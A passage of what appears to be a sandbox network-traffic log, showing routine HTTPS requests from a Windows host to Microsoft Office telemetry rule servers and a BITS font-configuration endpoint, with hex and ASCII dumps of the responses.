2024-11-21 23:11:34 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 92 1e 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 23 d0 00 00 14 00 00 00 00 00 10 00 92 1e 00 00 18 41 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 e6 42 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 78 cf 8d 5c 26 1e e6 42 43 4b ed 5c 07 54 13 db d6 4e a3 f7 2e d5 d0 3b 4c 42 af 4a 57 10 e9 20 bd 77 21 94 80 88 08 24 2a 02 02 d2 55 10 a4 a8 88 97 22 8a 0a d2 11 04 95 ae d2 8b 20 28 0a 88 20 45 05 f4 9f 80 05 bd ed dd f7 ff 77 dd f7 bf 65 d6 4a 66 ce 99 33 67 4e d9 7b 7f fb db 7b 56 f4 4d 34 b4 21 e0 a7 03 0a d9 fc 68 6e 1d 20 70 28 14 02 85 20 20 ad 61 10 08 e3 66 0d ed 66 9b 1d 6a 90 af 1f 17 f0 4b 68 35 01 83 6c fb 44 42 5c 7d 83 3d 03 30 be 3e ae be 58 Data Ascii: MSCFD#AdBenvironment.cabx\&BCK\TN.;LBJW w!$*U" ( EweJf3gN{{VM4!hn p( affjKh5lDB\}=0>X
2024-11-21 23:11:34 UTC	8666	IN	Data Raw: 04 01 31 2f 30 2d 30 0a 02 05 00 e1 2b 8a 50 02 01 00 30 0a 02 01 00 02 02 12 fe 02 01 ff 30 07 02 01 00 02 02 11 e6 30 0a 02 05 00 e1 2c db d0 02 01 00 30 36 06 0a 2b 06 01 04 01 84 59 0a 04 02 31 28 30 26 30 0c 06 0a 2b 06 01 04 01 84 59 0a 03 02 a0 0a 30 08 02 01 00 02 03 07 a1 20 a1 0a 30 08 02 01 00 02 03 01 86 a0 30 0d 06 09 2a 86 48 86 f7 0d 01 01 05 05 00 03 81 81 00 0c d9 08 df 48 94 57 65 3e ad e7 f2 17 9c 1f ca 3d 4d 6c cd 51 e1 ed 9c 17 a5 52 35 0f fd de 4b bd 22 92 c5 69 e5 d7 9f 29 23 72 40 7a ca 55 9d 8d 11 ad d5 54 00 bb 53 b4 87 7b 72 84 da 2d f6 e3 2c 4f 7e ba 1a 58 88 6e d6 b9 6d 16 ae 85 5b b5 c2 81 a8 e0 ee 0a 9c 60 51 3a 7b e4 61 f8 c3 e4 38 bd 7d 28 17 d6 79 f0 c8 58 c6 ef 1f f7 88 65 b1 ea 0a c0 df f7 ee 5c 23 c2 27 fd 98 63 08 31 Data Ascii: 1/0-0+P000,06+Y1(0&0+Y0 00*HHWe>=MlQR5K"i)#r@zUTS{r-,O~Xnm[`Q:{a8}(yXe\#'c1

Session ID	Source IP	Source Port	Destination IP	Destination Port
23	192.168.2.5	49735	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 23:11:33 UTC	192	OUT	GET /rules/rule120623v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 23:11:34 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 23:11:34 GMT Content-Type: text/xml Content-Length: 464 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97FB6C3C" x-ms-request-id: 8189730a-201e-0003-216a-3bf85a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T231134Z-178bfbc474btvfdfhC1NYCa2en000000027000000000c1q4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 23:11:34 UTC	464	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 49 69 5d 5b 47 67 5d 5b 41 61 5d 5b 42 62 5d 5b 59 79 5d 5b 54 74 5d 5b 45 65 5d 20 5b 54 74 5d 5b 45 65 5d 5b 43 63 5d 5b 48 68 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 4c 6c 5d 5b 4f 6f 5d 5b 47 67 5d 5b 59 79 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120623" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <SR T="2" R="([Gg][Ii][Gg][Aa][Bb][Yy][Tt][Ee] [Tt][Ee][Cc][Hh][Nn][Oo][Ll][Oo][Gg][Yy])"> <S T="1" F="1" M="Ignor

Session ID	Source IP	Source Port	Destination IP	Destination Port
24	192.168.2.5	49733	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 23:11:33 UTC	192	OUT	GET /rules/rule120621v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 23:11:34 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 23:11:34 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA41997E3" x-ms-request-id: b82db7f7-b01e-0053-188c-3acdf8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T231134Z-174c587ffdf8lw6dhC1TEBkgs800000000eg00000000em5g x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-21 23:11:34 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 56 76 5d 5b 4d 6d 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120621" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <SR T="2" R="([Vv][Mm][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
25	192.168.2.5	49734	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 23:11:34 UTC	192	OUT	GET /rules/rule120622v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 23:11:34 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 23:11:34 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8CEAC16" x-ms-request-id: caffefd3-a01e-003d-6e3c-3c98d7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T231134Z-178bfbc474bv7whqhC1NYC1fg4000000026000000000651k x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 23:11:34 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120622" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
26	192.168.2.5	49743	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 23:11:35 UTC	192	OUT	GET /rules/rule120625v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 23:11:35 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 23:11:35 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:42 GMT ETag: "0x8DC582B9748630E" x-ms-request-id: a56dfe0e-901e-0029-2976-3b274a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T231135Z-174c587ffdfp4vpjhC1TEBybqw00000000m000000000ftak x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-21 23:11:35 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 46 66 5d 5b 55 75 5d 5b 4a 6a 5d 5b 49 69 5d 5b 54 74 5d 5b 53 73 5d 5b 55 75 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120625" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <SR T="2" R="([Ff][Uu][Jj][Ii][Tt][Ss][Uu])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.5	49746	23.218.208.109	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 23:11:35 UTC	161	OUT	HEAD /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-11-21 23:11:36 UTC	467	IN	HTTP/1.1 200 OK Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json Content-Type: application/octet-stream ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT Server: ECAcc (lpl/EF57) X-CID: 11 X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-neu-z1 Cache-Control: public, max-age=149590 Date: Thu, 21 Nov 2024 23:11:36 GMT Connection: close X-CID: 2

Session ID	Source IP	Source Port	Destination IP	Destination Port
28	192.168.2.5	49748	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 23:11:36 UTC	192	OUT	GET /rules/rule120628v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 23:11:36 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 23:11:36 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C8E04C8" x-ms-request-id: 20c6f849-701e-005c-2e61-3bbb94000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T231136Z-178bfbc474bv587zhC1NYCny5w000000021000000000a5nz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 23:11:36 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120628" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
29	192.168.2.5	49745	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 23:11:36 UTC	192	OUT	GET /rules/rule120626v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 23:11:36 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 23:11:36 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DACDF62" x-ms-request-id: 2b92647c-c01e-00a2-646f-3b2327000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T231136Z-174c587ffdf59vqchC1TEByk6800000000t000000000a0vc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 23:11:36 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120626" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
30	192.168.2.5	49747	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 23:11:36 UTC	192	OUT	GET /rules/rule120627v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 23:11:36 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 23:11:36 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:54 GMT ETag: "0x8DC582B9E8EE0F3" x-ms-request-id: 70a27cfc-201e-0051-268c-3a7340000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T231136Z-178bfbc474bwh9gmhC1NYCy3rs000000028g000000006p4c x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 23:11:36 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4e 6e 5d 5b 45 65 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120627" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <SR T="2" R="^([Nn][Ee][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port
31	192.168.2.5	49749	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 23:11:36 UTC	192	OUT	GET /rules/rule120629v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 23:11:36 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 23:11:36 GMT Content-Type: text/xml Content-Length: 428 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC4F34CA" x-ms-request-id: a72cf994-301e-0099-6e45-3c6683000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T231136Z-174c587ffdf89smkhC1TEB697s00000000p000000000k6vb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 23:11:36 UTC	428	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 2d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120629" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo]-[Ss][Tt][Aa][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
32	192.168.2.5	49757	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 23:11:37 UTC	192	OUT	GET /rules/rule120630v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 23:11:38 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 23:11:38 GMT Content-Type: text/xml Content-Length: 499 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:45 GMT ETag: "0x8DC582B98CEC9F6" x-ms-request-id: 8157cc8d-f01e-0003-1961-3b4453000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T231138Z-178bfbc474b7cbwqhC1NYC8z4n00000001xg000000010h2m x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 23:11:38 UTC	499	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120630" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.5	49759	23.218.208.109	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 23:11:37 UTC	239	OUT	GET /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMT Range: bytes=0-2147483646 User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-11-21 23:11:38 UTC	535	IN	HTTP/1.1 200 OK Content-Type: application/octet-stream Last-Modified: Tue, 16 May 2017 22:58:00 GMT ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" ApiVersion: Distribute 1.1 Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json X-Azure-Ref: 0WwMRYwAAAABe7whxSEuqSJRuLqzPsqCaTE9OMjFFREdFMTcxNQBjZWZjMjU4My1hOWIyLTQ0YTctOTc1NS1iNzZkMTdlMDVmN2Y= Cache-Control: public, max-age=149644 Date: Thu, 21 Nov 2024 23:11:38 GMT Content-Length: 55 Connection: close X-CID: 2
2024-11-21 23:11:38 UTC	55	IN	Data Raw: 7b 22 66 6f 6e 74 53 65 74 55 72 69 22 3a 22 66 6f 6e 74 73 65 74 2d 32 30 31 37 2d 30 34 2e 6a 73 6f 6e 22 2c 22 62 61 73 65 55 72 69 22 3a 22 66 6f 6e 74 73 22 7d Data Ascii: {"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Session ID	Source IP	Source Port	Destination IP	Destination Port
34	192.168.2.5	49762	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 23:11:38 UTC	192	OUT	GET /rules/rule120631v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 23:11:38 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 23:11:38 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B988EBD12" x-ms-request-id: 87817176-601e-003e-034d-3c3248000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T231138Z-15b8b599d88hr8sfhC1TEBbca400000000hg0000000011w6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
